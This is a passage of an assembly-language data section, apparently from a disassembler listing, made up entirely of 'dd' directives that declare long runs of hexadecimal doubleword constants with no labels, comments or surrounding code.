		dd 0C54ADFF3h, 574B7716h, 0D350D8Bh, 0FDA0BA0Ah, 3A1313C4h
		dd 39C4001Fh, 413C1D22h, 36095F98h, 0E0E577AAh,	36D387DAh
		dd 8808D2F7h, 8F520309h, 0F2138014h, 9D3BFA74h,	880C352h
		dd 0C297C0E9h, 0C14D546Ch, 0C2774268h, 0CA5D7975h, 0EE9E4441h
		dd 9BE95A02h, 2D1055D8h, 1C4F8368h, 0B4B5A931h,	35AEE17Bh
		dd 0B61D30EAh, 0FCF3A15Eh, 0F539513Fh, 0FC26EF32h, 5A827059h
		dd 615DB753h, 95710314h, 0AFCF99C7h, 4E95EFD8h,	25D6B828h
		dd 0B89257E1h, 7701D7F8h, 0E9482CFDh, 97AC3CA8h, 0AA791224h
		dd 7FE67182h, 0DFC9BDF9h, 49723C89h, 740B7E2Dh,	0BE56E0F0h
		dd 0BC4E14C9h, 0D46D13FBh, 580B0986h, 0BE0F2330h, 9F68C80Bh
		dd 37E83049h, 10698FBh,	0C05AF428h, 0CD8007ECh,	0E9E6C0B1h
		dd 46F4CB4Eh, 48AC01F6h, 0EEC1248Dh, 0C30D2002h, 0EC332E17h
		dd 402CEEB0h, 79978930h, 0FCEC6C22h, 535D7E0Ch,	9030E46h
		dd 9F325CAh, 0F2CA0274h, 4B54ED00h, 7CD8126h, 397E2230h
		dd 0E4BFB5E9h, 0B140B8F0h, 69EFF85Fh, 0E1F50C20h, 4A60D3CFh
		dd 485995C7h, 970DAAC8h, 0D43EF8FCh, 9D1B8222h,	0BFF50903h
		dd 0E8BA0FB4h, 0BAF3E78Ch, 0B81E5B23h, 15A891Ch, 761468CBh
		dd 0C4CCA23Bh, 0DAF0EAE9h, 7385B58Ah, 0A41E1F88h, 0A08E348Ch
		dd 0C009C507h, 62706D67h, 0B26F405Fh, 0EC1A62B0h, 4036C20h
		dd 88CF91A6h, 0C92C0560h, 0EF767748h, 0E2D95316h, 7140DFFAh
		dd 376247E9h, 60D0F722h, 0C0507A9h, 5F654F28h, 370BC968h
		dd 800944DDh, 355C2DABh, 2C76E996h, 7F282A49h, 63136CA5h
		dd 0C840849Ah, 0B5E50581h, 8254121Ch, 7E18BD6h,	1EF5F035h
		dd 0CD47C80Bh, 0B325A21h, 45A4FC1Ah, 7D900957h,	818073EAh
		dd 2D27C981h, 0D71BB22Eh, 287E0810h, 3E98F9DCh,	2612FB21h
		dd 0CFE8EC4Dh, 0A7864659h, 0F1800714h, 0ABCB0851h, 8914568Ch
		dd 7F2EF877h, 0DF89328Bh, 0B28A3175h, 59A902Bh,	0F0B71A2Ah
		dd 3E4C220Ch, 2D401722h, 1EFC44DCh, 0B00B5B16h,	0D0EA88C2h
		dd 4EC4BE81h, 483812A4h, 1EDBE600h, 6EE9EA89h, 0ED5E689Fh
		dd 9901273Eh, 0FD0702DCh, 35007110h, 4EF50D51h,	92D9B8BAh
		dd 3F20A4E8h, 59559C82h, 6D4D0326h, 0C013093h, 0C8F2A55h
		dd 0E944F701h, 83D7084Bh, 5012F2D6h, 4E890744h,	0E909A85Fh
		dd 0A1CD483Eh, 8D048D24h, 6E84F920h, 0B3F917BEh, 0B8869855h
		dd 19D01235h, 0B4C3BC01h, 0F95162FFh, 504B558h,	3B6613DDh
		dd 7411AACh, 0C025BC7Ah, 0F257DC05h, 126D22Ch, 5D78594Bh
		dd 7D57607Ch, 4F6B2017h, 0D0C4520Bh, 6C3BF66h, 3D17D4F1h
		dd 44137081h, 0E9A91097h, 6C420841h, 8081E8CDh,	0F80161C9h
		dd 7DF92807h, 58CB8BADh, 16F795A6h, 0A75C953Dh,	0BE299498h
		dd 41E6130Eh, 0C648FF9Dh, 0A37231B3h, 0B4F3FF9h, 0B2FEAF66h
		dd 83A6B3FEh, 4A7F30E9h, 2F93FA2Eh, 0B735794Ch,	99F96978h
		dd 151A0706h, 51AB7F82h
		dd 0C977645Bh, 0ED3F4E16h, 21261F1Dh, 0A40C4718h, 0CCEA7661h
		dd 58681EBAh, 0DDB70504h, 0C4FEE0F9h, 0C0C182D5h, 0E038B0Ah
		dd 20616268h, 5951B832h, 9F9E74FCh, 246F8641h, 77EF017h
		dd 48982009h, 0FDE08209h, 3B995A23h, 0E890FB5h,	2708D901h
		dd 66850FD4h, 4AE369ABh, 0D41FDD0h, 0A6A1135Ah,	6B7C62Ah
		dd 9FE8024Bh, 7077A701h, 3BD08947h, 0E04634ABh,	760B2D12h
		dd 0FCABE779h, 829109Eh, 380CE9h, 37B66DB4h, 2DB85066h
		dd 0D6898980h, 96FC0880h, 0A5615AD2h, 30F4CDA4h, 149C4D69h
		dd 0C2015B05h, 66B2E180h, 0EA3F4B93h, 9BEF9612h, 26015ECCh
		dd 20824C74h, 76EEDFE2h, 38F0EA02h, 0EA0168F8h,	880809B9h
		dd 79268C0Eh, 66CCD725h, 6649E1FAh, 3BDF403Dh, 6E40FD13h
		dd 570FB5BCh, 0CC562268h, 54F4F2B0h, 1FA095Bh, 0FA387079h
		dd 0C7409441h, 3BFC4F07h, 0BFC505F5h, 0E530EEB4h, 9F9F38FAh
		dd 743EF9F1h, 0FF940CA4h, 74D034CDh, 155E2D3Dh,	13891CFFh
		dd 0EBA3E5E9h, 780C0522h, 5578B5C3h, 15040D1Fh,	90EA3252h
		dd 5251AD63h, 2656804h,	4B803875h, 287BC7CAh, 12D80E4Dh
		dd 418D954h, 3698D62h, 0D53E1005h, 2DC89805h, 65E90703h
		dd 88221CA6h, 5BDC89EBh, 0C6A61E74h, 5C02F8A4h,	0C041BA3Ah
		dd 0B0504C5h, 2842217Dh, 0ABF38CDDh, 4B7F62Dh, 87E9E88Eh
		dd 0ED830765h, 1DAEC144h, 76D4AF5Ch, 0D0FD705h,	14047F87h
		dd 0F4AD44EEh, 41B0161Ah, 0F9312D5Bh, 5F361EFFh, 0FCF21890h
		dd 0F31750EBh, 0B3FCEC49h, 0ABA3E712h, 4B10CCCCh, 0DE5DA857h
		dd 3200F612h, 8D63E705h, 0BFDDF462h, 5DEA2122h,	2309107Eh
		dd 1496D536h, 0E909EC42h, 9ED57F83h, 0B86A477h,	2B4A7CA6h
		dd 453982DFh, 0E150112Eh, 0A6E284Bh, 0A9C07234h, 801DC28h
		dd 28F6C580h, 0B1E459E8h, 195AB777h, 5EA0EB2Dh,	0E6203B9Eh
		dd 0DAA1683Eh, 8E7B2B31h, 1D2BBF00h, 7B37D124h,	0DF5A6702h
		dd 6A9DC026h, 0A1085035h, 77EC13E7h, 0D709AEBBh, 0C83BFD0Ah
		dd 0A7C8A8DAh, 519F895Dh, 0F5006929h, 339573FCh, 90AEABFh
		dd 255BDA08h, 7456826Fh, 0BD05F378h, 47822479h,	0D51B4552h
		dd 0B7CD35E8h, 1176DFF2h, 0E8A3B3F2h, 0D68101B2h, 7F509468h
		dd 0B4ECE3CCh, 0AD893BFFh, 5ADD8D04h, 0E082B512h, 29044CD9h
		dd 0E24E77EBh, 9979ED36h, 1AFEBD40h, 0E9170BEFh, 30274EBCh
		dd 0CEB7356h, 0F6EE3102h, 5D46C725h, 44C61CC1h,	9531C208h
		dd 17828606h, 0C853BA68h, 0B8D3305Ah, 7F01C9FFh, 0F6E81980h
		dd 0F1C5E8D0h, 0E7239220h, 0E40A5C05h, 0CD203E27h, 0C5665C34h
		dd 0F49FADC1h, 3DCFB905h, 0F2A14F54h, 5216D4EAh, 4276F155h
		dd 0E40C4759h, 0ED5A419Ah, 0DE59A573h, 21F3471Eh, 822B0519h
		dd 5DE3DF0Ch, 0ACC2D5FBh, 845AE841h, 14CB6833h,	0E53ED0D9h
		dd 5952286h, 32EE6E4Ch,	30E92CE4h, 0F897153Ch, 665FDD2Ch
		dd 435F01F4h, 26E9126Ah, 72DDA1h, 4ACED910h, 3B2D6E0h
		dd 25C28032h, 8CF9D028h, 897264E3h, 0B168C648h,	237BF021h
		dd 91E4E20Fh, 455B7B3h,	374FA805h, 0ACF9F91h, 3CFFC7CCh
		dd 2E72EFD0h, 0E2BD30BCh, 0EC405266h, 0EE178886h, 5DEC2059h
		dd 6B120C4Bh, 184A2161h, 0BB029CA3h, 783808A2h,	77BEA5FFh
		dd 5602CC53h, 41461018h, 436A9C4Ah, 5954CF09h, 0A40077F2h
		dd 5D881AA6h, 4B761389h, 589CF2BCh, 0F4C20339h,	0FA40321Fh
		dd 25FBD462h, 0CA82E9D6h, 8F9B1E0Dh, 6D7521D2h,	0C83744Dh
		dd 726727F7h, 0DBBF4007h, 0C1C08FBEh, 4E9B6F80h, 1605E861h
		dd 65AC2E56h, 9022A5D0h, 4A437238h, 2F1BCBBBh, 4D9461CDh
		dd 0F7A1B02Ah, 31F6B712h, 0AB6965EEh, 6C034DF0h, 5A742E51h
		dd 0BCB52F9Ah, 66449532h, 4FF30B24h, 90E8291Ch,	6E0C2E20h
		dd 6C1F8DB9h, 755E2768h, 8AC29C13h, 25D58553h, 0B8C0A4BCh
		dd 6ACC1937h, 486295FCh, 99B03CBh, 1E9E9001h, 66F6CAA5h
		dd 0E3B28352h, 0F2C74848h, 0A402E34Ch, 6865D214h, 6420468Bh
		dd 4C417497h, 0F4AFD0B5h, 0E90AA804h, 0F5105E86h, 3F30254h
		dd 898104A7h, 0C2464057h, 0E225401Bh, 27F964DFh, 4D687F91h
		dd 0F125E955h, 124CC4C9h, 0F611C168h, 48DA432Fh, 0D2C60D6h
		dd 4A791CD8h, 155BC0Ah,	227F0506h, 14717244h, 3D05802Bh
		dd 7774688Ch, 0BA0EA2A6h, 4E0E4FB7h, 420C324Ah,	0A505BA04h
		dd 23F70081h, 14295437h, 5F0A8284h, 620304Ch, 0C5F52D5h
		dd 0F3015B0Bh, 0C6A04416h, 0F782AB25h, 6724B57Ah, 9BD0A8Ch
		dd 169AF10h, 3F141D75h,	408EE17Bh, 5D45F196h, 76A41C48h
		dd 5490BBBAh, 0F530625Ah, 2C60FAB9h, 12A39D3h, 1ECF2B6Ch
		dd 792704Dh, 0E90806C2h, 0B718F081h, 81D97389h,	0ADA85951h
		dd 6E2F5CB1h, 0A1ECF94Ah, 0F72A689Bh, 0FB442F8Ch, 2AF009BCh
		dd 240F6F1h, 5517D48h, 0F3148EBAh, 0E9D24315h, 0F11FB0CCh
		dd 720957C5h, 40164058h, 40FB9051h, 0DFE18F79h,	0A248F1CBh
		dd 71E30161h, 0CD29777Fh, 806ED61h, 2D30010Ch, 3D686CF6h
		dd 0E18D7A75h, 5AA7A46Ah, 495F28C0h, 9529745Dh,	2508EF88h
		dd 0FA697B59h, 0EC50208Bh, 6D0BBD1Eh, 0D5F75404h, 13AA1885h
		dd 20BEF333h, 9F629029h, 0EA61ECF9h, 0DF3EFEF0h, 3F4910C1h
		dd 12FE0117h, 4285EA0Dh, 5A058E88h, 8044B02h, 0FD76F4A9h
		dd 1237CD88h, 1AFFAC5Dh, 5F10BA0Dh, 0FAE86CD0h,	0DAECFC95h
		dd 0C2EC53DFh, 0EC7562FFh, 18581181h, 0E3793004h, 0BB46FC68h
		dd 4C6209B4h, 43BF985Dh, 0DF50F47h, 0C0E4D731h,	5F5909E6h
		dd 68065871h, 2079030Ch, 9DF4380Eh, 32151E65h, 95EECFA4h
		dd 52587BC8h, 0A6279298h, 53D55EF6h, 54254AACh,	541F0509h
		dd 8049CF28h, 0F25DA372h, 77204CA3h, 560B614Bh,	31DA966h
		dd 0E9331B84h, 0DFA8C22Ah, 0B237900Dh, 27F9AB19h, 92898590h
		dd 1845F3F8h, 1829B320h, 0C01AB2Ch, 0C027A1DBh,	2DF670D2h
		dd 7AFE4995h, 213A4EAh,	1481BDB8h, 3BFE9AB5h, 7C7F39B1h
		dd 10631C50h, 0B9D3280Ah, 878001BFh, 0A084A9F3h, 2BBE899Eh
		dd 7E74B800h, 1C356001h, 0A5E40F8Fh, 0E72F15D8h, 0A2F71C16h
		dd 70EC5714h, 0B5219520h, 0C12781E6h, 6299DECBh, 2D000D73h
		dd 14094A89h, 0E4C1211Ah, 43AFBA02h, 0D8CA0EF5h, 30F9A5D0h
		dd 0C77FF88h, 2E2E63B0h, 0E587451Bh, 29925706h,	3CA2F98Fh
		dd 5118BF82h, 0C9DA15CAh, 0CC9FE951h, 833F56B3h, 598F9C2h
		dd 7A5C36CCh, 0C55817A5h, 1964AD7Bh, 0FD55D964h, 9A26AADCh
		dd 0A860EFF4h, 0C82932CAh, 0B008EE26h, 0E884D527h, 9248271h
		dd 6DCB6800h, 0E9335ACAh, 55E9E062h, 0DF1BF10h,	0CDE8DE45h
		dd 5991AA4Eh, 0B23F408Dh, 0E956984Dh, 77136453h, 4B18AC8Ah
		dd 0C89618A6h, 74B8D37Ah, 97DA66B7h, 25EC9757h,	0C3A66E7Dh
		dd 5BE068CFh, 3D40C318h, 141FC143h, 0C519AE51h,	0F3CDA0Ah
		dd 1A840DDFh, 7A4D6C22h, 16B83648h, 25EE5BDFh, 2DE109CCh
		dd 5000BDD9h, 835E7068h, 0AC789731h, 0A38257Bh,	59E9BE36h
		dd 535512EDh, 0ADC64A0Ah, 3ED6CA81h, 0A5207C50h, 315624BCh
		dd 2E600CE7h, 729DEBA5h, 70859706h, 9BD1AB3Ch, 0D048E779h
		dd 0C96E1E86h, 0A68DC94Eh, 0F1736854h, 307BF801h, 6664AB4Fh
		dd 0E6816A00h, 635A0588h, 81FA9D4Eh, 0E57C490Ah, 4602B532h
		dd 4210A578h, 72F0FF4Ch, 7A7C9CA2h, 1659F92Dh, 0A0445743h
		dd 11F2CAA0h, 0AC665Ah,	7BF901F1h, 4CC506ACh, 0A9AA34ABh
		dd 7C287C00h, 0E6167623h
		dd 90EC0C43h, 5812BA5Fh, 590BAFE8h, 32DD575Bh, 0B1D4577Bh
		dd 47DCB62h, 1C8BFE50h,	0EED7564Ah, 5BD7E819h, 172B2B2Eh
		dd 2FE8315Ch, 0E95450C1h, 0A5A4656Bh, 0B25F9C62h, 815DB3B4h
		dd 226321CCh, 90A22A29h, 66E51CC9h, 0E97C1920h,	0B90BE29Fh
		dd 91F45985h, 9A98BF3Ah, 2ACF5E7Ch, 2C9DFD1h, 0B024461Ch
		dd 0ACC82ACEh, 7AF509BAh, 68E04C6Dh, 482DF369h,	0F7277FF0h
		dd 0E6E0923Ah, 0AB13C0D7h, 0F239C06Ah, 53792227h, 264C6813h
		dd 0CDEE30BBh, 0A49D9C2Fh, 19E45E0Eh, 0FD8E5FAEh, 5B8D134h
		dd 1666036h, 813BED4h, 2E1A6DFBh, 0E92F31EFh, 0C89AE215h
		dd 0DC18F12h, 81FF800Fh, 3B54E6F6h, 0EA5A5A47h,	68578341h
		dd 75C26613h, 0D75A19D4h, 51E4D071h, 0E86B76D9h, 5B372F90h
		dd 69D0A734h, 120A68C1h, 548D3238h, 210F06EFh, 0D1A86F57h
		dd 0E98A2C69h, 0E9DE2512h, 3B05526Fh, 28CC2848h, 13635CB2h
		dd 0CBF79B25h, 4EB3B948h, 7821255h, 8924D33Dh, 0E7B25166h
		dd 3EB7E302h, 0E94718FFh, 0D3EB4E88h, 46AE4DC8h, 8BA6F99Dh
		dd 0C05A487Fh, 2896DE97h, 0FEDE97DDh, 0F326E827h, 0C683C765h
		dd 0D297E741h, 65DD2C8Bh, 685CC0D7h, 749A65BEh,	20EB9D2Ch
		dd 0D8833B37h, 355C0255h, 0BC0B520Fh, 5FCF0C4h,	0D28C0D48h
		dd 0FEC184AEh, 5484E78Eh, 0E600FB59h, 0D571B29h, 405B002Ch
		dd 0E8D14839h, 0AEA583E9h, 0C612D81h, 0BAD44110h, 6C453D7Ah
		dd 0F02BF90Eh, 1FE8E9C2h, 13BF3567h, 9234BB5Ch,	354DC990h
		dd 0B26DFC78h, 5B68162Dh, 0EDB1CC29h, 358AEA50h, 45DD660Fh
		dd 2582B42Bh, 27CDF031h, 0B2DD917Bh, 0B45C4C78h, 49C99839h
		dd 3143A68h, 77DF62F2h,	4943452h, 7BDF01E0h, 256AD380h
		dd 682079A1h, 2508CCFDh, 23402522h, 4FB99253h, 92294CAAh
		dd 0F54F886Fh, 2B887AA8h, 7808C226h, 255C2D39h,	6E7B6927h
		dd 7C20EAD2h, 0BE0F3A64h, 0F705029Ah, 9FA0FEDEh, 0C6924060h
		dd 0F6B058F8h, 25F8EE5Bh, 2D94CE10h, 3369451h, 0E0231D68h
		dd 4E505E6Fh, 13D31E58h, 2927D0ECh, 54E3605Dh, 1B1A2536h
		dd 84CF45F7h, 0D061E950h, 0CBB35305h, 6E876814h, 88B4C0DBh
		dd 0BF2A9BE9h, 157D6898h, 35410DFh, 11E35F8Fh, 0E5EE681Eh
		dd 0D17ABFBh, 0FBA77D21h, 81D5F26Eh, 5515C905h,	0E5DA5470h
		dd 6F2C5289h, 1472D554h, 4EE6E688h, 0D9D9EF55h,	0C424FA2Eh
		dd 0D3B00C85h, 0F007ECC0h, 91E54FC3h, 2E2AB4C0h, 34BA2024h
		dd 9B8A0B21h, 0F325A305h, 0AEB11A88h, 8E5C7D10h, 0FFB5801Ah
		dd 5F403571h, 9C088168h, 667F6304h, 3BB7F03h, 0D91A7B18h
		dd 3D890FB8h, 0A5FD5AD6h, 9DF84335h, 2441EB4Eh,	1CF93B7Ah
		dd 0DBAFE07Ah, 8959DD0Bh, 7BCD16DFh, 0A0C66E9h,	0C80F6C58h
		dd 9E7A1139h, 520232D0h, 642CBA66h, 48BE4DFh, 38E94DFEh
		dd 0CFEFD61h, 16C7518Ah, 0F7F8A81Ch, 0B210C4DDh, 399FB45Eh
		dd 0E613E135h, 0C63001BEh, 60C06D14h, 0C8A2EE99h, 565D0802h
		dd 16BB1CDFh, 7C8B70Fh,	97C2C42h, 0AD884F75h, 0AA56147Fh
		dd 0FADC7C75h, 3AB01A41h, 0C7CD209Dh, 0B808B6Bh, 0D2F3E3E9h
		dd 98C48377h, 0BD2F480Dh, 7E0B92D2h, 0D024C8DFh, 48F497C9h
		dd 0FFD0FD5Ah, 5A53D125h, 2B10DE1h, 781A0979h, 0C05900EBh
		dd 0B25203E4h, 2250B79Ah, 0AF0BB6ECh, 55ED13E9h, 650C0064h
		dd 82334D41h, 0EC5418B5h, 0C2749E70h, 0F89D0472h, 9C192C08h
		dd 4568C1D4h, 0E428787Fh, 6341B639h, 383B18A5h,	5697C082h
		dd 16AA4A67h, 0BE5A8492h, 2177DAD1h, 0FC38347Bh, 40642D73h
		dd 0EED1B52Fh, 0E9DB4B55h, 48F8D785h, 31C7312Dh, 0B65F46B1h
		dd 26B30004h, 0EA31176Ch, 137B8B62h, 209CDF1Dh,	0F809E791h
		dd 0A6F97C06h, 650D39A4h, 34A074A4h, 0B60BBD2Ah, 7841D25Bh
		dd 79E50389h, 0E9258F52h, 0D04822F2h, 6C706E6h,	0E608104h
		dd 4863BF19h, 8A4C7ED1h, 0DEF57302h, 0F3E0F389h, 7813ACEDh
		dd 0B1BF249Dh, 0FB0805A3h, 3CF29E01h, 0A07F1D08h, 0D4AE935h
		dd 0EA835191h, 4C7F6E28h, 0EE50DF6Ch, 0D15F13B3h, 8214184Ah
		dd 3117DCCBh, 52E460ABh, 2E4AE9h, 6DA4356Dh, 79F744Eh
		dd 923F8316h, 730580EFh, 0C5BFFEF6h, 0F26D88B1h, 6BB2912h
		dd 10C349D9h, 2C16EFFCh, 0E81F08BAh, 0A4F9AF13h, 0E733C71Eh
		dd 540B8254h, 0AF01599Bh, 443854D8h, 6C2D8E40h,	79740936h
		dd 656D608Eh, 69B00953h, 0D2F780Eh, 5FF8E070h, 95BF12Dh
		dd 0C601F9FFh, 13196E7Dh, 8D1A0EE9h, 39002D1h, 9FD03C2h
		dd 2AD37D69h, 94FBD769h, 0E95452C0h, 0C7B49Ah, 3679BB59h
		dd 0F59D76A9h, 88DC822Ah, 5905C09Bh, 0D7BE055Eh, 7F4ACE6Bh
		dd 8217BC44h, 173CFF01h, 4239F396h, 0B70ED74Eh,	60F25BBBh
		dd 4B47FA5Dh, 0E9453CEFh, 0F49F9025h, 70E0505Ch, 15FD6FE1h
		dd 115105A4h, 51DDAF28h, 0BEC0CB32h, 356B4566h,	5F842BBDh
		dd 2960E9E2h, 0B6287A5Eh, 68E8E978h, 0E9420309h, 31BBE148h
		dd 2A27E12Fh, 0E9C462FDh, 5016AF29h, 0EE972EF3h, 0DE275F92h
		dd 65EF8472h, 292AC1E2h, 0E6A83BF9h, 0ECCCE9E3h, 32AF5E84h
		dd 0B0D85AA0h, 949570B5h, 0C525BEE8h, 2B5ACF61h, 418541D8h
		dd 79BD2FD1h, 8C0EED16h, 54975158h, 11316007h, 57623359h
		dd 92E2AF70h, 9764FFF2h, 12C17520h, 0E3258068h,	0F611D0Bh
		dd 0A0081593h, 46D7271Bh, 0B0E49274h, 0AA15D685h, 2948E7CAh
		dd 124C022Fh, 0C6E55C28h, 0CCF2FF84h, 2F858D64h, 0BBAFCCAFh
		dd 3B54F70Bh, 2B65E30h,	1578E94Bh, 288D070Bh, 0F52E1682h
		dd 1F957347h, 0F4292D87h, 8273961Bh, 67EE5DDAh,	47300930h
		dd 6E1B95EFh, 0A1C0C870h, 89D8DA0Ch, 0E9091C91h, 4B6F086h
		dd 0C63544B8h, 6D93C06Ah, 64EDA70Fh, 0E409EBE2h, 36E8B5Dh
		dd 0E2D326F1h, 0E55046h, 19693B25h, 55930520h, 35035977h
		dd 1BEC2E14h, 0BF50D940h, 837BE8DDh, 0F35BE554h, 521289B9h
		dd 6ED2FABAh, 1349F6EAh, 0B1C7FC59h, 0BD00E083h, 59EE2C29h
		dd 0F8B734B0h, 0C060E76h, 0F5CF3C31h, 0F3901020h, 1248C22Dh
		dd 0E82913EBh, 6D85A213h, 0E90B779Bh, 0C7EB805h, 560E3F8Bh
		dd 82AA6707h, 6E5F3AA7h, 0C824EBD2h, 61F69EBFh,	28324D75h
		dd 45620246h, 0D4011355h, 0F88935D9h, 3CB95AA1h, 0EE770712h
		dd 1774D7E3h, 0A2221868h, 0E3DF105Eh, 1BC98101h, 85231E12h
		dd 0A97F840Ch, 774972C2h, 0E577C266h, 7935F325h, 0A1C4CF0Fh
		dd 0B933FBF8h, 0DAFDD1E7h, 0AB5A1492h, 4F694368h, 1C79AF42h
		dd 0C403BC6Eh, 5600A7F7h, 2E0ADFBEh, 5D0042BFh,	3389D04Ah
		dd 78DF2B75h, 66E8C1F6h, 0D04FA92Dh, 1478E005h,	0A43591B0h
		dd 1AB4A37Eh, 0B36B4AACh, 0D9E91327h, 0D8303044h, 1263CBAAh
		dd 0E0CC520Eh, 214C8F6h, 0E188B4B1h, 0AFF223E9h, 5CA4B2Dh
		dd 0D4D25FC7h, 0DF10D5BBh, 80C245Ch, 2C8B5A5Bh,	0A47C9557h
		dd 586E5F7Ah, 390F0D20h, 0BD700E34h, 33B270A3h,	0EDF5D9E7h
		dd 26885CDh, 575D4B6Ah,	0CFDD7206h, 5B545316h, 0AE6D74EEh
		dd 0EB27A28Bh, 5FD396FDh, 0BD9B0023h, 6CDE52A9h, 5EDC107h
		dd 53204D45h, 9BA4A8E9h, 0BCCC25DEh, 0FD862725h, 79A59C4Fh
		dd 59E9D05Fh, 62EC075Bh, 0D424568Fh, 9946FEE6h,	70C4032h
		dd 31D0F795h, 0EAE825C5h, 2F680A88h, 41F67609h,	0AE850AC9h
		dd 0ACD25E98h, 6FDB951Ch, 0B3E396BDh, 28F761EBh, 3D410D7Ch
		dd 5D02E445h, 574BD9F9h, 7498A816h, 196D4BDh, 8959BB2Dh
		dd 5C8DC7Dh, 7BE907A0h
		dd 0DDC70995h, 9D20641Ch, 0F4C09F95h, 0B01A049h, 27A3E381h
		dd 0EE402C92h, 0B0315F3h, 11C1E94Eh, 5069CDDh, 309BBD55h
		dd 64DE92AAh, 6887FA5Eh, 294C1335h, 28C012B7h, 0BC813F8h
		dd 0E1788B45h, 55646812h, 9CAA4534h, 3AFF57C8h,	0FA32CABh
		dd 0BE745D5Ah, 4DB4BEC0h, 6065482Ch, 99030B7Eh,	0ECF73138h
		dd 143D2AADh, 0E1F382BAh, 9A7A55DFh, 0C0E90BC3h, 0A4D32292h
		dd 0C8EC63h, 3F4A6DBAh,	7483CE81h, 0F91C682Dh, 2BDF02F1h
		dd 50FD7C2Fh, 84535EDFh, 1905809Ch, 8EF462BEh, 3B87E849h
		dd 2D4996F9h, 0B46E0B89h, 1D4AE206h, 0B23767BBh, 72DF0A99h
		dd 9C7F978Fh, 154C9F09h, 68873405h, 632154ADh, 717903FCh
		dd 7B095809h, 0D0619302h, 0C1023F0Fh, 8174C0E7h, 7DBEBACh
		dd 0E56B2331h, 0E90801FAh, 47C56FE8h, 27E8DEBFh, 6E6509A5h
		dd 5D6FA27Bh, 0F27FB64Ah, 18566B1Eh, 50CA40FFh,	0ECC85B89h
		dd 70222539h, 34EE9FB9h, 62FAF3B4h, 5F6158ABh, 2135285Ch
		dd 0A7A9D85Bh, 35C28B8Bh, 0CFFEFE5Dh, 0E9504B08h, 945F5FAFh
		dd 39CDAE42h, 1B9AAC6Bh, 8F623BE9h, 0E335F7B3h,	80EBEC63h
		dd 1B55252Fh, 0D15EEA07h, 61B305E0h, 18C08F7Ah,	1A362102h
		dd 3E2CC2E9h, 0EC209478h, 40BA04DFh, 0C13B6951h, 22D0A9E8h
		dd 0E8C18191h, 0A488310Eh, 0BF02C02Eh, 0FF41456Fh, 2A038141h
		dd 11B1C6B4h, 4A0A4828h, 1288CBAFh, 28EF4607h, 674BE961h
		dd 0A3E9DD13h, 79277594h, 540F0371h, 3AB0445Ah,	0C2698CEEh
		dd 0EDFEE124h, 0FF2BEB51h, 0C8E92B02h, 0B17674E3h, 424F6EAh
		dd 8AD3FCEFh, 0EEA58A62h, 0A2681798h, 0A7A08C74h, 0C3B7A595h
		dd 0ED76F1AEh, 77133A7Dh, 0AC7BC5FEh, 879096Fh,	0E2870053h
		dd 7C2F4E2Ch, 1FEA0410h, 0EB055B26h, 0D7297082h, 3D17F5EEh
		dd 0E4ADFEE4h, 1F63C58Bh, 487561D8h, 0A5283DB4h, 0A0BF8713h
		dd 77CCD309h, 4D7E429Ah, 0C1685884h, 261CB3FFh,	479CF8C9h
		dd 4DF1927Fh, 0FD04EF64h, 0E8EEADCEh, 0F145B468h, 72D96B68h
		dd 4ABCB22Bh, 0FB614F0h, 3EEC0A3h, 4AF8C3A5h, 25C8E7C1h
		dd 0B0507D81h, 3F20FDE3h, 0D35BE00Bh, 0D7251Dh,	0DF79D414h
		dd 5258882Fh, 586051BFh, 0CD4BAAE9h, 817423AFh,	0EB44405Fh
		dd 0A4F009E9h, 2C4BBD57h, 33A4C910h, 7067BA00h,	0D131539Ah
		dd 535DB8C9h, 0FA9356Bh, 0B9C7377Fh, 84F7E562h,	0E9080573h
		dd 3E5BE1B7h, 47CC06B5h, 338F2C66h, 525E0934h, 20FC96D7h
		dd 0CBF49F1h, 3F5017A7h, 5416D088h, 0C72E4460h,	3D2F6022h
		dd 0D45A5E45h, 128823Bh, 0C1CC46D5h, 7D11BB80h,	33B6040h
		dd 45BA480h, 0E1E9CE41h, 0DD38E0FDh, 578C4EBBh,	99F2FFF8h
		dd 755C0973h, 962F9BE6h, 0B216E40Dh, 0BAD59DA7h, 0C9B8D778h
		dd 8980221Bh, 627EEEF3h, 738BDF84h, 0BF837071h,	0E91E8841h
		dd 983E36C2h, 54057639h, 10E94D15h, 1FBD67B0h, 40261260h
		dd 775EE581h, 1A905FBBh, 711B6309h, 20395A08h, 25075691h
		dd 72F8246Ah, 30472950h, 0BA2D385Fh, 0F80CC497h, 7501E276h
		dd 6812344Eh, 6CC2981h,	8C535A7Ah, 3525E940h, 24C8DF48h
		dd 0E2EFB945h, 0E941E853h, 8E2A105Fh, 387D7EB8h, 61DFDAA9h
		dd 33907EF2h, 0CF467068h, 0FCF73425h, 5501A555h, 3BA073F7h
		dd 50A29B28h, 0C1FDEAC0h, 0F2B06697h, 0CB6A4C81h, 0EBAD04DEh
		dd 7666BFFEh, 805371E6h, 640971BDh, 42451EC0h, 4B5E77EDh
		dd 7FFEE509h, 3520984Eh, 4BA29034h, 0EDE75DC3h,	8CC4F72Dh
		dd 0FBF2F17Bh, 350AA0D3h, 84EBD83Eh, 10BFFECDh,	594368F0h
		dd 5E85414Ch, 0ACF6AA57h, 52E95C81h, 2DFE2926h,	96CB8F18h
		dd 619831ADh, 665DCAE9h, 0D52D0281h, 0F6F9A6A3h, 4E7982E5h
		dd 5A503041h, 1D040782h, 0D9C9C9A2h, 5D087411h,	20505848h
		dd 0BF36D23Dh, 0BFF3E0F1h, 420C23D0h, 0F4215BD2h, 2FE8B439h
		dd 0E0550F25h, 2E782738h, 18C70515h, 0E9060607h, 0F171BE2Dh
		dd 6490BC82h, 0C3586408h, 0D07DE3EFh, 5B004EF7h, 0CD80CAB5h
		dd 8F06C0EAh, 5306E5C0h, 7C4BB2B8h, 4910DDEEh, 498E7F93h
		dd 4CC4CB4Bh, 78AB4B8Ah, 0D32DE97Eh, 0E849F6F4h, 6F973F3Ah
		dd 680F28F0h, 3F444731h, 0F32E3E40h, 921A5040h,	2089785Bh
		dd 4BC6A300h, 81380136h, 915EDEEFh, 0ECC57079h,	0BE17A4E2h
		dd 8BEBFA29h, 2DBA4E6Ah, 87A92A8Eh, 0ACF3E984h,	17ED5BE6h
		dd 101EE5B0h, 2BA9375Eh, 18B10F74h, 0C5050F8Bh,	0C42DE808h
		dd 0C810382Ah, 0EB6CA612h, 23ABC8Dh, 44FE6837h,	2D64FF5Eh
		dd 4962FFC9h, 0FBC5AB84h, 69086ADDh, 3684DE9h, 1825B2Ch
		dd 6B302D5Eh, 0F829FCCDh, 0A14B64B0h, 0AD6AB4A1h, 0B1E9B174h
		dd 0EEBBD02Eh, 982C1E7Eh, 0DA276512h, 6FD0B722h, 34AE594Ah
